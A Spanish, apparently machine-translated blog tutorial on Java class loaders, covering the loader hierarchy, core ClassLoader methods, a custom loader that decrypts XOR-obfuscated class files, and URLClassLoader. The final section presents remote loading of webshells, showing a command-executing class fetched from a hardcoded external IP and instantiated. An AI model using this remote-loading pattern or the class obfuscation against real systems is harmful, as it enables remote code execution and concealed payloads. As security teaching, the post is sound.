[Seguridad de Java] Cargador de clases Cargador de clases

prefacio

Tomar prestada una imagen del artículo de Prophet Community para explicar este principio
inserte la descripción de la imagen aquí
es responsable de cargar dinámicamente las clases de Java en el espacio de memoria de la máquina virtual de Java para cargar archivos de clase del sistema, la red u otras fuentes. El compilador javac compila el código fuente de Java en un archivo de clase y luego la JVM ejecuta el código de bytes en el archivo de clase para ejecutar el programa.

Introducción a los cargadores de clases

Los cargadores de clases se dividen aproximadamente en dos categorías:

  • Cargador de clases predeterminado de JVM
  • Cargador de clases definido por el usuario

Clasificación del cargador de clases

  • BootstrapClassLoader: es parte de jvm, no hereda la clase java.lang.ClassLoader y no tiene un cargador principal. Es el principal responsable de cargar la biblioteca central de Java (es decir, la propia JVM), que se almacena en /jre directorio /lib/rt.jar entre,
  • ExtensionsClassLoader: implementación de la clase sun.misc.Launcher$ExtClassLoader, que se usa para cargar bibliotecas de extensiones de Java en el directorio especificado en /jre/lib/ext o java.ext.dirs
  • Cargador de clases del sistema (AppClassLoader): implementado por sun.misc.Launcher$AppClassLoader, que generalmente carga clases de Java a través de (java.class.path o variable de entorno Classpath), que es lo que a menudo llamamos la ruta classpath. Por lo general, usamos esta clase de carga para cargar clases de aplicaciones Java, puede usar ClassLoader.getSystemClassLoader() para obtenerlo
  • Cargador de clases personalizado (UserDefineClassLoader): este es el cargador de clases personalizado por el usuario

Método de núcleo de clase ClassLoader

Además del cargador de clases de arranque anterior BootstrapClassLoader, otros cargadores de clases heredan la clase CLassLoader. La clase
ClassLoader es una clase abstracta. La función principal es encontrar el código de bytes correspondiente a través del nombre de clase especificado y devolver una instancia java.lang.Class del clase.

loadClass: carga la clase java especificada

Cargue la clase llamada nombre, el resultado devuelto es una instancia de la clase java.lang.Class

Puedes ver el código fuente de loadClass

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
    
    
        synchronized (getClassLoadingLock(name)) {
    
    
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
    
    
                long t0 = System.nanoTime();
                try {
    
    
                    if (parent != null) {
    
    
                        c = parent.loadClass(name, false);
                    } else {
    
    
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
    
    
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
    
    
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
    
    
                resolveClass(c);
            }
            return c;
        }
    }

Primero ejecute findLoadedClass para determinar si la clase se ha cargado. Si se ha cargado, regresará directamente; si no se ha cargado, use el cargador de la clase principal del cargador para cargarlo. Cuando no hay una clase principal, se llamará a su propio método findClass, por lo que el método findClass se puede reescribir para completar algunos requisitos especiales para la carga de clases.

findCLass: encuentra la clase Java especificada

protected Class<?> findClass(String name) throws ClassNotFoundException {
    
    
        throw new ClassNotFoundException(name);
    }

findLoadedClass: busca clases que han sido cargadas por la JVM

protected final Class<?> findLoadedClass(String name) {
    
    
        if (!checkName(name))
            return null;
        return findLoadedClass0(name);
    }

defineClass: defina una clase de Java que analice el código de bytes en un objeto de clase reconocido por la máquina virtual. A menudo se usa junto con el método findClass()

protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
    
    
        return defineClass(null, b, off, len, null);
    }

resolveClass: el enlace especifica la clase Java

protected final void resolveClass(Class<?> c) {
    
    
        resolveClass0(c);
    }

    private native void resolveClass0(Class c);

cargador de clases personalizado

Entonces, si queremos personalizar el cargador de clases, debemos seguir los siguientes pasos:

  1. Heredar la clase ClassLoader
  2. Sobrecargar el método fandClass
  3. Convierta el código de bytes en un objeto de clase java.lang.class usando el método defineClass

inserte la descripción de la imagen aquí
inserte la descripción de la imagen aquí
mensaje de muestra
de códigoPrueba

public class messageTest {
    public static void main(String[] args){
        System.out.println("This is the secret!");
    }
}


Class encodeTest que encripta archivos de clase

import java.io.*;

public class encodeTest {
    
    
    public static void main(String[] args) throws IOException {
    
    
        encode(
              new File("../out/production/Classloader/messageTest.class"),
              new File("../out/production/Classloader/test/messageTest.class")
        );
    }
    public static void encode(File src, File out) throws IOException {
    
    
        FileInputStream fin;
        FileOutputStream fout;

        fin = new FileInputStream(src);
        fout = new FileOutputStream(out);

        int temp = -1;
        while ((temp = fin.read()) != -1) {
    
    // 读取一个字节
            fout.write(temp ^ 0xff);// 取反输出
        }
        fin.close();
        fout.close();
    }
}

Luego escriba la clase de descifrado y reescriba el método findclass

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class decodeTest extends ClassLoader{
    
    
    private String rootDir;

    public decodeTest(String rootDir) {
    
    
        this.rootDir = rootDir;
    }
    
    // 解密文件
    public byte[] getClassData(String className) throws IOException {
    
    
        String path = rootDir + "/" + className.replace('.', '/') + ".class";
        // 将流中的数据转换为字节数组
        InputStream is = null;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        is = new FileInputStream(path);
        byte[] buffer = new byte[1024];
        int temp = -1;
        while ((temp = is.read()) != -1) {
    
    
            baos.write(temp ^ 0xff);
        }
        return baos.toByteArray();
    }

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException {
    
    
        Class<?> c = findLoadedClass(className);
        if (c != null) {
    
    
            return c;
        } else {
    
    
            ClassLoader parent = this.getParent();

            c = parent.loadClass(className);
            if (c != null) {
    
    
                System.out.println("父类成功加载");
                return c;
            } else {
    
    // 读取文件 转化成字节数组
                byte[] classData = new byte[0];
                try {
    
    
                    classData = getClassData(className);
                } catch (IOException e) {
    
    
                    e.printStackTrace();
                }
                if (classData == null) {
    
    
                    throw new ClassNotFoundException();
                } else {
    
     // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }
}

reescribir la clase de prueba

public class loadClassTest {
    
    
    public static void main(String[] args) throws ClassNotFoundException {
    
    
        decodeTest de = new decodeTest("/Users/liucheng/Desktop/JavaSec/out/production/Classloader/test/");
        Class<?> a = de.loadClass("messageTest");
        System.out.println(a);

    }

}

Dado que el archivo de clase que especifiqué es un archivo de clase encriptado, el cargador de clases que viene con Java no se puede cargar. Aquí usamos con éxito el cargador de clases personalizado para descifrarlo y cargarlo en messageTest
inserte la descripción de la imagen aquí

URLClassLoader

URLClassLoader es una implementación de ClassLoader, que tiene la capacidad de cargar clases en servidores remotos. A través de este URLClassLoader, se puede realizar la carga remota de algunos webshells.

Aquí hay un ejemplo donde
genero una clase que ejecuta comandos del sistema en el servidor Tomcat

public class Test {
    
    
    public static void main(String[] args){
    
    
        try{
    
    
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } 
        catch(Exception e) {
    
    
            e.printStackTrace();
        }
    }

}

inserte la descripción de la imagen aquí
Luego cargue esta clase de forma remota en el proyecto

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest {
    
    
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
    
    
        URL url = new URL("http://101.35.98.118:12424/javatest/");
        URLClassLoader cl = new URLClassLoader(new URL[]{
    
    url});
        Class c = cl.loadClass("Test");
        c.newInstance();
    }
}

Supongo que te gusta

Origin blog.csdn.net/m0_51078229/article/details/123359096
Recomendado
Clasificación